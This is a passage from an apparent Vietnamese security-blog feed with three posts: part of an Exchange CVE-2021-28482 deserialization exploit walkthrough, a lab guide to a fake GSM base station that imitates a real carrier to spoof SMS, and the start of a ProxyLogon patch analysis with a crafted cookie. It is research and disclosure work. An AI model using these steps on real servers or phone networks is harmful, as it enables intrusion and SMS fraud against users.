<p>Các class trên đều kế thừa ProxyRequestHandler, sau mỗi lần tính giá trị BackEnd thành công, method <em>DoProtocolSpecificRoutingTargetOverride()</em> -&gt; <em>RedirectIfNeeded()</em> đều được gọi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242723326/xI74HVPze.png" alt /></p>
<p>Trong đó, class <strong>OwaEcpProxyRequestHandler </strong>lại override method <em>RedirectIfNeeded() </em>này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242724941/cbIukQv3m.png" alt /></p>
<p>Nó xử lý và tìm kiếm sự tồn tại của FQDN trong hệ thống, nếu không có sẽ throw exception luôn.</p>
<p>Đây chính là lý do mà nhiều bên cũng đã phát hiện và thử BackEndCookie này nhưng lại bị fail ở các entrypoint “/ecp, /owa”.</p>
<p>Để xử lý nó thì cần phải tìm được các class thừa kế class <strong>BEServerCookieProxyRequestHandler</strong>, nhưng method <em>RedirectIfNeeded() </em>cũng phải thỏa mãn không tác động tới giá trị FQDN kia.</p>
<p>Trong đám đó mình có tìm ra được một vài class khả thi như sau:</p>
<pre><code><span class="hljs-bullet">-</span> AnonymousCalendarProxyRequestHandler
<span class="hljs-bullet">-</span> ComplianceServiceProxyRequestHandler
<span class="hljs-bullet">-</span> EwsAutodiscoverProxyRequestHandler
<span class="hljs-bullet">-</span> MailboxDeliveryProxyRequestHandler
<span class="hljs-bullet">-</span> MapiProxyRequestHandler
<span class="hljs-bullet">-</span> MicroServiceProxyRequestHandler
<span class="hljs-bullet">-</span> MrsProxyRequestHandler
<span class="hljs-bullet">-</span> OabProxyRequestHandler
...
</code></pre><p>Tuy nhiên để xét cho trường hợp unauthenticated, thì mình mới chỉ vào được <strong>AnonymousCalendarProxyRequestHandler </strong>và <strong>EwsAutodiscoverProxyRequestHandler.</strong></p>
<p>Mặc dù đã có thể set giá trị FQDN tùy ý, nhưng trước khi request, ProxyRequestHandler vẫn check lại một lần nữa giá trị <strong>Host == BackEndServer.Fqdn</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242726595/JOXqp9tLT.png" alt /></p>
<p>Nếu như cố tình sửa láo giá trị FQDN để SSRF như proxylogon, sẽ bị exception tại đây luôn!</p>
<p>Do đó tất cả những gì chúng ta có thể làm bây giờ là sửa thành một cái FQDN hợp lệ bất kỳ nào đó,</p>
<p>Với trường hợp <strong>AnonymousCalendarProxyRequestHandler:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242728349/Og32O2HP9.png" alt /></p>
<p>Host có thể thành bất kỳ, nhưng sẽ bị lỗi do server không gen được gói để authenticate với backend -&gt; chỉ có thể sửa thành backend của hệ thống.</p>
<p>Với trường hợp <strong>EwsAutodiscoverProxyRequestHandler:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242730159/IP3vn0BMc.png" alt /></p>
<p>Có thể đẩy request tới một host bất kỳ, tuy nhiên request này lại chứa token của user Anonymous, nói cách khác là không có quyền gì nhiều nếu gửi vào backend.</p>
<p>Việc xem xét bug tại backend cookie của mình bị dừng tại đây hơn một tuần và cho tới tận bây giờ vẫn không có tiến triển gì thêm.</p>
<p>Đó là những gì mình muốn share về 2 bug pre-auth này,</p>
<p>Tiếp theo là về bug Post-Auth RCE — CVE-2021–28482:</p>
<p>Trong bản vá lần này, có 2 file bị xóa khỏi server Exchange đó là:</p>
<ul>
<li><p><em>Microsoft.Exchange.Clients.Owa2.Server.Web.MeetingPollHandler</em></p>
</li>
<li><p><em>Microsoft.Exchange.HttpProxy.PsgwProxyRequestHandler</em></p>
</li>
</ul>
<p>Với Psgw thì mình có đào bới khắp nơi những vẫn không tìm ra entrypoint để tiếp cận được, do đó mình quay qua xem xét <em>MeetingPollHandler</em>.</p>
<p>Dựa vào web.config của ClientAccess/owa, có thể biết được các tiếp cận entrypoint này, đó là <em>/owa/MeetingPollHandler.ashx</em>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242731825/BfTOcbV3t9.png" alt /></p>
<p>Đoạn code xử lý của MeetingPollHandler như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242733530/D2QGxx4gB.png" alt /></p>
<pre><code><span class="hljs-selector-tag">MeetingPollHandler</span><span class="hljs-selector-class">.ProcessRequest</span>()

<span class="hljs-selector-tag">-</span>&gt; <span class="hljs-selector-tag">MeetingPollProposeOptionsPayload</span><span class="hljs-selector-class">.ProcessRequest</span>()
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242735284/OBCC3UB3l.png" alt /></p>
<p>Và điều đặc biệt hơn nằm ở bên trong method <strong>MeetingPollProposeOptionsPayload.GetRequests()</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242736888/cIVNlMkoD.png" alt /></p>
<p>Tại đây, method này gọi tới <em>EntitySerializer.Deserialize(), </em>EntitySerializer.Deserialize() gọi tiếp tới <em>DataContractSerializer.ReadObject()</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242738647/ILNxuthm5.png" alt /></p>
<p>Mình từng làm nhiều về Java Deser, nhưng với .Net deser thì chưa một lần nào,</p>
<p>Tuy nhiên thông qua tìm kiếm và hỏi thăm từ nhiều bên mình được biết là hoàn toàn có thể RCE với <em>DataContractSerializer, </em>nếu như có thể điều khiển được kiểu dữ liệu để deserialize, hoặc là kiểu dữ liệu để deserialize có lỏng lẻo gì đó có thể lợi dụng!</p>
<p>Ở đây thì nó là trường hợp thứ 2, kiểu dữ liệu được deserialize quá lỏng lẻo, chúng ta cùng xem kỹ hơn.</p>
<p>Dữ liệu được deserialize như sau:</p>
<pre><code>EntitySerializer.**Deserialize**&lt;<span class="hljs-keyword">Dictionary</span>&lt;string, **ProposeOptionsMeetingPollParameters**&gt;&gt;(largeStringProperty);
</code></pre><p>class <strong>ProposeOptionsMeetingPollParameters </strong>kế thừa <strong>SchematizedObject</strong></p>
<p><strong>SchematizedObject</strong> kế thừa<strong> PropertyChangeTrackingObject.</strong></p>
<p>Mấu chốt của lỗ hổng này nằm tại chính class <strong>PropertyChangeTrackingObject:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242740252/OODyIk0V7.png" alt /></p>
<p>Class này có thêm một Nested class nữa để chứa thông tin của các Entity, trong đó các entity này được lưu vào field <strong><em>ChangedProperties, </em></strong>field này có kiểu dữ liệu là <strong>PropertyBag.</strong></p>
<p>DataMember của PropertyBag chỉ có 1 field duy nhất với kiểu <strong>Dictionary</strong>&lt;string, <strong>object</strong>&gt;:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242741814/pv5x035LE.png" alt /></p>
<p>¯_(ツ)_/¯</p>
<p>Theo đúng logic này, khi deserialize với Type: <em>Dictionary&lt;string, <strong>ProposeOptionsMeetingPollParameters</strong>&gt; </em>của đoạn xử lý MeetingPollHandler, mình hoàn toàn có thể gài một gadgetchain vào field <em>propertyValues </em>của field <em>ChangedProperties</em> khi deserialize, (việc này cũng khá là giống trong Java Deserialization)!</p>
<p>Logic được diễn giải bằng hình như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242743630/es9sUrUeT.png" alt /></p>
<p>GadgetChain mình sử dụng là <em>ObjectDataProvider</em>, được gen từ ysoserial.net.</p>
<p>Tuy nhiên cũng cần nhiều tùy chỉnh để ăn khớp với cách hoạt động của Exchange Server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242745882/yFsprn1KA.png" alt /></p>
<p>Việc tiếp theo phải làm đó là tạo một meeting ròi đẩy gadget vào (tạo như thế nào thì có thể search document)</p>
<p>Cuối cùng là trigger bằng url có dạng:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242747386/hDkoaW5jm.png" alt /></p>
<p>Với XXXX chính là ID của meeting có chứa payload.</p>
<p>Sau khi trigger bằng MeetingPollHandler, cmd sẽ được spawn trên server Exchange với parent process là w3wp của OWA App:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242748868/JL1tqOV52.png" alt /></p>
<p>PoC:</p>
<p>Đây chỉ là một trong số nhiều entrypoint có thể trigger được lỗ hổng này, những entrypoint khác có thể trigger mà không cần tác động tới. Tuy nhiên mình chưa nghiên cứu kỹ và PoC được trong thời gian này.</p>
<p>Hy vọng bài viết này có thể đem lại phần nào đó tháo gỡ các vướng mắc mà nhiều người đang nghiên cứu gặp phải, biết đâu họ sẽ tìm ra được hướng đi hay hơn ;).</p>
<p>Thanks for reading,</p>
<p><strong>Jang of VNPT ISC</strong></p>
]]></content:encoded></item><item><title><![CDATA[GSM in your Area (Làm thế nào để giả mạo cột sóng, giả mạo SMS Brandname)]]></title><description><![CDATA[Vào những ngày bận rộn của cuối năm 2020, tôi thấy dân tình xôn xao về sự việc có vài trường hợp nhận được tin nhắn từ ngân hàng rủ rê chơi cờ bạc, lô đề:

Ngày đó cũng là do khá bận với sự việc khác nên chưa có xem qua, ban đầu theo suy đoán của mìn...]]></description><link>https://testanull.com/gsm-in-your-area-lam-the-nao-de-gia-mao-cot-song-gia-mao-sms-brandname-76d2a7537e3d</link><guid isPermaLink="true">https://testanull.com/gsm-in-your-area-lam-the-nao-de-gia-mao-cot-song-gia-mao-sms-brandname-76d2a7537e3d</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Fri, 26 Mar 2021 09:53:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242694905/0pBs1GaT7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Vào những ngày bận rộn của cuối năm 2020, tôi thấy dân tình xôn xao về sự việc có vài trường hợp nhận được tin nhắn từ ngân hàng rủ rê chơi cờ bạc, lô đề:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242660992/dFRdeQ91K.jpeg" alt /></p>
<p>Ngày đó cũng là do khá bận với sự việc khác nên chưa có xem qua, ban đầu theo suy đoán của mình và ae trong team thì có thể là do API SMS Brandname đã bị lộ ở đâu đó, và gây ra sự việc bắn sms lừa đảo như trên.</p>
<p>Tuy nhiên đó cũng chỉ là nhận định chủ quan, do chưa có thông tin gì về nạn nhân cũng như phương thức cụ thể nên bên mình không có đưa ra thông cáo báo chí gì về vấn đề này.</p>
<p>Bẵng đi một thời gian sau, phía cục ATTT có gửi công văn thông báo về vấn đề này cho bên mình và yêu cầu phối hợp xử lý, mình cũng được join cùng để lót dép hóng hớt tin tức.</p>
<p>Thì ra vấn đề này đang xảy ra ko chỉ trên 1 nhà mạng mà hầu như thuê bao của cả 3 nhà mạng lớn(V<em>, V</em>, và M*) đều bị nhận được tin nhắn fake kiểu như này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242663062/Ei0CKtSSR.png" alt /></p>
<p>Dựa vào các thông tin phía quản trị hạ tầng nhà mạng bên mình báo lại thì không tìm được một dấu hiệu nào trên tất cả các hệ thống về việc những tin nhắn trên được gửi đi (Log SMS Brandname, MSC, …). Nói ngắn gọn hơn là vào khoảng thời điểm đó nhà mạng V* bên mình không gửi bất cứ tin nhắn nào như vậy cho người dùng.</p>
<p>Sau đó cũng dựa vào thông tin quan hệ từ nhiều nguồn, mình cũng biết được với thuê bao của nhà mạng khác cũng xảy ra trường hợp tương tự như vậy: <strong>NHÀ MẠNG KHÔNG GỬI CÁC TIN NHẮN NÀY.</strong></p>
<p>Và mấy ngày sau, thông cáo báo chí cũng được đăng y chang như vậy.</p>
<p>Dân mạng thì cho là các nhà mạng đang trốn tránh trách nhiệm, các hacker nửa mùa thì lại được nước ra mặt chém gió như chuyên gia.</p>
<p>Nhưng sự thật sau đó là gì?</p>
<p>Và quan trọng nhất ai là người phải chịu trách nhiệm về vấn đề này?</p>
<p>¯_(ツ)_/¯</p>
<p>Từ phía nhà mạng, bên mình chỉ có thể điều tra đến đó rồi bị mất dấu, không tìm ra được gì thêm.</p>
<p>Chỉ có thể đưa đến kết luận tạm thời: là người dùng đã bị kết nối vào BTS giả mạo, rồi sau đó nhận được tin nhắn spam từ kẻ tấn công đang điều khiển cái BTS giả mạo đó. Kết luận này cũng chỉ là trên giấy, chưa có chứng cứ gì cụ thể, vì làm gì có ai có đồ để kiểm chứng đâu 🤣.</p>
<p>Sự việc còn lại bên mình đã bàn giao hết cho phía cơ quan chức năng xử lý tiếp.</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>Với mình thì còn nhiều thắc mắc, sự việc như vậy còn là quá mập mờ, chưa thể đi đến đâu cả.</p>
<p>Tháng vừa rồi, mình mượn được đồ nghề của ông anh để thử nghiệm về mấy món này.</p>
<p>Tính tổng thời gian từ lúc nhận đồ về cho tới khi thử nghiệm thành công chỉ gỏn gọn trong vòng nửa ngày, không yêu cầu hiểu biết gì nhiều về sóng sánh này nọ cả.</p>
<p><strong>#Phụ lục về setup Lab</strong></p>
<p>Về phần cứng, thiết bị mình sử dụng để thử nghiệm là con Ettus USRP B210, sử dụng 2 anten 12dbi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242666302/rjO4tPwdE.png" alt /></p>
<p>Mấy thứ đồ này hiện tại không được bán ở Việt Nam, và cũng là khó khăn để mua về, cho dù có giấy tờ chứng nhận mục đích sử dụng chính đáng (anh bạn mình bảo thế).</p>
<p>Về phần mềm, theo như tìm hiểu ban đầu của mình thì hiện tại có một số software cho phép giả lập cột sóng như sau:</p>
<ul>
<li><p>OpenBTS: Lần release stable cuối cùng là 6 năm trước</p>
</li>
<li><p>YateBTS: Vẫn đang được phát triển, chỉ dành riêng cho thiết bị bladeRF</p>
</li>
<li><p>OsmoCom: Project này khá là lớn và được đầu tư tâm huyết, hỗ trợ nhiều thiết bị (chỉ có điều tốc độ thay đổi của software quá nhanh, nhanh hơn cả tốc độ release Document nên nhiều khi mọi thứ hoạt động không giống trong sách vở)</p>
</li>
</ul>
<p>Và trong thử nghiệm này thì mình sử dụng OsmoCom cho USRP B210,</p>
<p>Ngày xưa muốn sử dụng osmocom thì phải tự build từ source code, nhiều khi lỗi tè le khá là đau đầu.</p>
<p>Bây giờ mọi thứ đã nhẹ nhàng hơn, việc setup chỉ đơn giản là add repo và apt install 😂, có thể tham khảo tại đây: <a target="_blank" href="https://osmocom.org/projects/cellular-infrastructure/wiki/Latest_Builds">**https://osmocom.org/projects/cellular-infrastructure/wiki/Latest_Builds</a>**</p>
<p>Bộ osmocom có được chia thành nhiều phần nhỏ khác nhau:</p>
<ul>
<li><p>OsmoBSC</p>
</li>
<li><p>OsmoBTS</p>
</li>
<li><p>OsmoTRX</p>
</li>
<li><p>OsmoHLR</p>
</li>
<li><p>OsmoMSC</p>
</li>
<li><p>OsmoSIP</p>
</li>
<li><p>…</p>
</li>
</ul>
<p>Mỗi phần mềm này đóng vai trò tương ứng với tên của nó trong cách hoạt động của mạng GSM, ví dụ như:</p>
<ul>
<li><p>OsmoBSC: Base Station Controller</p>
</li>
<li><p>OsmoBTS: Base Transceiver Stations</p>
</li>
<li><p>OsmoHLR: Home Location Register</p>
</li>
<li><p>…</p>
</li>
</ul>
<p>Mô hình hoạt động trong thực tế của GSM có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242669883/rmsiDtVDj.png" alt /></p>
<p>Với lab setup nhỏ nhỏ của mình, chỉ cần sử dụng tới OsmoBSC, OsmoTRX, OsmoHLR, OsmoBTS, OsmoMSC, OsmoSIP.</p>
<p>Và mô hình setup của nó cũng tương ứng với cách hoạt động của GSM trong hình phía trên:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242671722/djvP35Mez.png" alt /></p>
<p>Nếu sử dụng nguyên gốc Config của Osmocom sẽ không thể chạy được (đa số là do lỗi BSC không kết nối được MSC), do đó cần phải custom lại một số config như sau:</p>
<ul>
<li>Chỉnh sửa OsmoMSC:</li>
</ul>
<p>Thay đổi network country code (MCC) và mobile network code (MNC) thành MCC, MNC của nhà mạng thật</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242673750/DQ6arRpB9.png" alt /></p>
<p>Thêm 1 instance của SS7 để sau đó có thể kết nối từ OsmoBSC sang</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242675181/VdvgyY4tB.png" alt /></p>
<ul>
<li>Chỉnh sửa OsmoBSC:</li>
</ul>
<p>Thay đổi MCC, MNC tương tự như config ở OsmoMSC</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242676609/zNaZ9wK1Z.png" alt /></p>
<p>Sửa đổi band sang GSM900 và CID &amp; LAC cho phù hợp</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242678105/krop0R7pt.png" alt /></p>
<p>Thay đổi ARFCN cho phù hợp với GSM900 nếu không sẽ bị lỗi</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242679635/IMeo16ATq.png" alt /></p>
<p>Thêm config SS7 tương ứng với config bên OsmoMSC</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242681125/6b1iHgg08.png" alt /></p>
<ul>
<li>Chỉnh sửa OsmoHLR</li>
</ul>
<p>Theo config ban đầu, khi điện thoại kết nối vào mạng giả lập này sẽ cần phải xác thực này nọ và cấp số, để cho phép thuê bao có thể kết nối thẳng vào và cấp số luôn, cần phải thêm config “subscriber-create-on-demand” như hình sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242682657/9GFzECTF3.png" alt /></p>
<p>Như vậy là mọi thứ đã được setup xong xuôi, mạng giả lập đã sẵn sàng khởi chạy, lần lượt chạy các command sau:</p>
<ul>
<li>Chạy OsmoSTP để OsmoBSC có thể giao tiếp với OsmoMSC</li>
</ul>
<pre><code>sudo systemctl <span class="hljs-keyword">start</span> osmo-stp
</code></pre><ul>
<li>Chạy OsmoHLR</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242684277/3I5PKFpci.png" alt /></p>
<ul>
<li>OsmoMSC</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242685892/CnepK-eBS.png" alt /></p>
<ul>
<li>OsmoBSC</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242687380/ib2QWJKyV.png" alt /></p>
<ul>
<li>OsmoTrx</li>
</ul>
<p>Ở đây mình sử dụng USRP nên sẽ dùng osmo-trx-uhd:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242688981/l28xjFd17.png" alt /></p>
<ul>
<li>Và cuối cùng là OsmoBTS</li>
</ul>
<p>Sau khi chạy OsmoBTS, bên phía terminal của OsmoBSC sẽ báo lại như sau, nghĩa là đang bắt đầu giả lập BTS thành công:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242690625/86o7TpFle.png" alt /></p>
<p>Việc tiếp theo cần làm là kết nối vào cái BTS fake này …</p>
<p>Cái công đoạn kết nối này có thể làm = 2 cách: thủ công hoặc tự động.</p>
<p>Trong thực tế, với các trường hợp nạn nhân nhận được tin nhắn kia là điện thoại tự động kết nối vào các trạm fake này.</p>
<p>Nghe thì hơi vô lý, nhưng thực tế nó là vậy,</p>
<p>Mặc định, các thuê bao của người dùng sẽ sử dụng theo thứ tự 4g -&gt; 3g -&gt; 2g, nếu sóng của mạng này yếu quá sẽ tự tìm sóng thấp hơn và cuối cùng là 2g.</p>
<p>Với 2G, thuê bao sẽ tự động tìm trạm BTS gần nhất và CONNECT vào, bất kể nó là thật hay giả:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242693020/ggyDJIhyy.png" alt /></p>
<p>PoC by VNPT Security Lab:</p>
<p>.</p>
<p>.</p>
<p>Như vậy là mình đã demo xong về cách mà attacker fake BTS để lừa đảo người dùng trong thời gian vừa rồi.</p>
<p>Đây cũng chỉ là một giả thuyết từ nhà ngoại cảm bảo mật, chưa phải là kết luận cuối cùng của cơ quan chức năng, các bạn có thể đem làm giải trí cũng được ¯_(ツ)_/¯.</p>
<p>Về cách hạn chế vấn đề này, theo như mình biết thì có nhà mạng V* nào đó đã bỏ hẳn 2g, thuê bao sẽ không còn kết nối được vào BTS 2g nào nữa, và cũng bỏ qua được nỗi lo nhận tin nhắn từ BTS giả mạo. Đó cũng là một cách hay để giảm thiểu thiệt hại cho người dùng, theo thông tin ngoài lề có thể trong tương lai các nhà mạng tại VN sẽ tắt 2G tại các thành phố lớn!</p>
<p>Vậy cuối cùng ai phải chịu trách nhiệm ?? ¯_(ツ)_/¯</p>
<p>Ai phải chịu thiệt hại:</p>
<ul>
<li><p>Doanh nghiệp chịu thiệt hại về uy tín</p>
</li>
<li><p>Người dùng là người cuối cùng bị thiệt hại về tiền của, vật chất</p>
</li>
<li><p>Nhà mạng bị mang tiếng xấu</p>
</li>
<li><p>…</p>
</li>
</ul>
<p>Hãy là người thông thái khi sử dụng công nghệ!</p>
<p><strong>Jang of VNPT ISC</strong></p>
]]></content:encoded></item><item><title><![CDATA[Phân tích lỗ hổng ProxyLogon — Mail Exchange RCE (Sự kết hợp hoàn hảo CVE-2021–26855 +…]]></title><description><![CDATA[Tuần đầu tháng 3 vừa rồi có khá nhiều biến động trong giới bảo mật, 4 lỗ hổng 0day của Mail Exchange bị sử dụng trong thực tế để chiếm quyền điều khiển các server mail này. Thông tin chi tiết tại đây: https://www.volexity.com/blog/2021/03/02/active-e...]]></description><link>https://testanull.com/phan-tich-lo-hong-proxylogon-mail-exchange-rce-su-ket-hop-hoan-hao-cve-2021-26855-37f4b6e06265</link><guid isPermaLink="true">https://testanull.com/phan-tich-lo-hong-proxylogon-mail-exchange-rce-su-ket-hop-hoan-hao-cve-2021-26855-37f4b6e06265</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Wed, 10 Mar 2021 12:51:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242643699/PtvbsUHbv.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Tuần đầu tháng 3 vừa rồi có khá nhiều biến động trong giới bảo mật, 4 lỗ hổng 0day của Mail Exchange bị sử dụng trong thực tế để chiếm quyền điều khiển các server mail này. Thông tin chi tiết tại đây: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/</p>
<p>Các lỗ hổng bị phát hiện trong đợt tấn công APT này là:</p>
<ul>
<li><p>CVE-2021–26855: Mail Exchange <strong>Pre-Auth </strong>SSRF</p>
</li>
<li><p>CVE-2021–26857: Post-Auth Deserialization</p>
</li>
<li><p>CVE-2021–26858: Post-Auth arbitrary file write</p>
</li>
<li><p>CVE-2021–27065: Post-Auth arbitrary file write</p>
</li>
</ul>
<p>Khi mới đọc tin này thì mình không có quan tâm gì mấy (nghĩ bụng: chắc nó trừ mình ra), chỉ khi mà người anh xã hội ở một tổ chức X đăng bài phân tích về ảnh hưởng của đợt tấn công này tới tổ chức đó thì mình mới chột dạ và bắt đầu đi tìm hiểu về các lỗ hổng này!</p>
<p>Mình biết là khi publish bài này sẽ gây ảnh hưởng tới nhiều đơn vị và tổ chức chưa (kịp) cập nhật bản vá vì lý do này hay vì lý do nọ,</p>
<p>Tuy nhiên, theo quan niệm của mình, đây cũng có thể là một cách để hối thúc họ vá lỗ hổng, thay vì để phơi ra internet và bị tổ chức APT nào đó cầm PoC thật chiếm quyền điều khiển server trước khi họ kịp nhận ra bị tấn công!</p>
<p>Để không mất thời gian thêm nữa thì mình bắt đầu bài phân tích luôn!</p>
<p><strong>#DIFF PATCH</strong></p>
<p>Như những gì chúng ta đã biết, các entrypoint được sử dụng trong lần này đều có dạng: “<em>/ecp/x.js</em>”. Thứ magic đi sau đó là làm sao mà chỉ với 1 request tới 1 file chưa từng tồn tại trên server lại có thể trigger được SSRF và gửi full request tới server backend.</p>
<p>Để làm rõ điều này hơn, cần phải thực hiện diff bản vá mà MS cung cấp để xem họ đã vá những gì trong lần này!</p>
<p>Trước đó mình chưa từng làm việc với dotNet bao giờ nên cũng mất khá nhiều thời gian để vào việc được.</p>
<p>Phiên bản mà mình chọn để nghiên cứu là Microsoft Exchange Server 2016 CU 18.</p>
<p>Patch cho CVE-2021–26855 có thể down tại đây: <a target="_blank" href="https://www.microsoft.com/en-us/download/details.aspx?id=102773">https://www.microsoft.com/en-us/download/details.aspx?id=102773</a></p>
<p>Phiên bản mà mình thực hiện để diff với patch mới nhất là bản patch được release ngay trước đó: 2020 Dec Patch — KB4593465</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242580255/znMaHHMbf.png" alt /></p>
<p>Bên trong các file update này có chứa các file binary/dll sẽ được patch, hoàn toàn có thể giải nén tất cả ra bằng công cụ nào đó, ở đây mình dùng 7zip:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242581726/3HUOsZMuS.png" alt /></p>
<p>Các file DLL được giải nén đa phần là được viết = dotNet, do đó ở đây mình sẽ sử dụng dnSpy để decompile TẤT CẢ file dll này ra dạng .cs, và sử dụng cho việc diff sau đó.</p>
<p>Để decompile tất cả file dll này thì chỉ đơn giản là kéo tất cả vào dnSpy cùng 1 lúc, sau đó bôi đen chọn tất cả và chọn “Export to Project” thôi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242583179/BEySaEGH7.png" alt /></p>
<p>Có một lưu ý nho nhỏ là trong setting của dnspy, phần Decompiler, bỏ tick mục “Show tokens, RVA …” để bỏ qua các comment về địa chỉ, RVA … gây khó khăn cho việc diff sau này!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242584568/hMLrlyw-F.png" alt /></p>
<p>Decompile mất tầm 30p sẽ xong cả 2 bản vá. Tuy nhiên chưa thể diff luôn được, do quá trình decompile sẽ có một số lỗi xảy ra hoặc là một số string mà developer để lại, cần phải dọn dẹp gọn gàng lại một lần nữa trước khi diff, ở đây là một ví dụ:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242586033/SczECaPSh.png" alt /></p>
<p><em>Quá trình diff cũng khá mất thời gian do có nhiều byte rác vẫn còn lại trong code,</em></p>
<p><strong>#Spot the bugs (CVE-2021–26855)</strong></p>
<p>Việc phát hiện lỗi bằng diff này dễ hơn nhiều so với các challenge #spotthebugs ở đâu đó trên mạng, sau khi diff một vòng mình phát hiện ra có một vài thay đổi quan trọng tại DLL: <em>Microsoft.Exchange.FrontEndHttpProxy</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242587603/jRCAJZNri.png" alt /></p>
<p>Tại <strong>BEResourceRequestHandler</strong>, method ShouldBackendRequestBeAnonymous() được thêm mới:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242589046/JQDkO5lXR.png" alt /></p>
<p><strong>BEResourceRequestHandler </strong>là class sẽ được dùng vào việc handle các request có dạng resource (các file có đuôi .js, .css, …)</p>
<p>Việc xác định class này có thể handler request được hay không dựa vào method <em>BEResourceRequestHandler.CanHandle()</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242590571/8NyNdeY7y.png" alt /></p>
<p>Đầu tiên là sẽ kiểm tra sự tồn tại của một cookie đặc biệt với method <em>GetBEResouceCookie(). </em>Method này sẽ lấy và trả về giá trị cookie “<strong>X-BEResource</strong>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242592087/hMP58BzqM.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242593572/AbRjFjDBc.png" alt /></p>
<p>Tiếp sau đó, <em>BEResourceRequestHandler.IsResourceRequest() </em>sẽ kiểm tra xem URL request có đuôi dạng các file resource hay không.</p>
<p>Giá trị “<strong>X-BEResource</strong>” sau đó tiếp tục được truyền vào <em>BackEndServer.FromString() </em>để xác định BackEnd Server cho request này!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242594997/eRUaOeRdp.png" alt /></p>
<p>BackEndServer.FromString() xử lý cookie X-BEResource như sau</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242596593/wOLeBXU-5.png" alt /></p>
<p>Để thỏa mãn các điều kiện trên thì X-BEResource sẽ có dạng như sau:</p>
<pre><code><span class="hljs-attr">X-BEResource</span>=**EXCHANGE2016**~<span class="hljs-number">1942062522</span><span class="hljs-comment">;</span>
</code></pre><p>Giá trị này sẽ được dùng tới ngay sau đây,</p>
<p>Tại <em>ProxyRequestHandler.BeginProxyRequest()</em> sẽ gọi tới<em> GetTargetBackEndServerUrl()</em> để xác định uri sắp được forward tới (chức năng đúng như tên của Class luôn). Method <em>GetTargetBackEndServerUrl()</em> có nội dung như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242598126/jhmNYNCaw.png" alt /></p>
<p>Đọc sơ qua có thể hiểu được nội dung của đoạn này có chức năng xây dựng lại url sẽ forward vào backend.</p>
<p>Trong đó Host của request được xác định bằng <em>BackEndServer.Fqdn</em>, kết hợp với <em>BEResourceRequestHandler </em>phía trên, giá trị <em>BackEndServer.Fqdn</em> này lại có thể control được bằng cookie <strong>X-BEResource.</strong></p>
<p>Bằng sự kết hợp ngẫu nhiên đó, lỗ hổng SSRF CVE-2021–26855 ra đời — — — ( ͡° ͜ʖ ͡°).</p>
<p>Để khai thác, cần phải lươn lẹo và chỉnh sửa cookie này một chút, thành dạng như sau:</p>
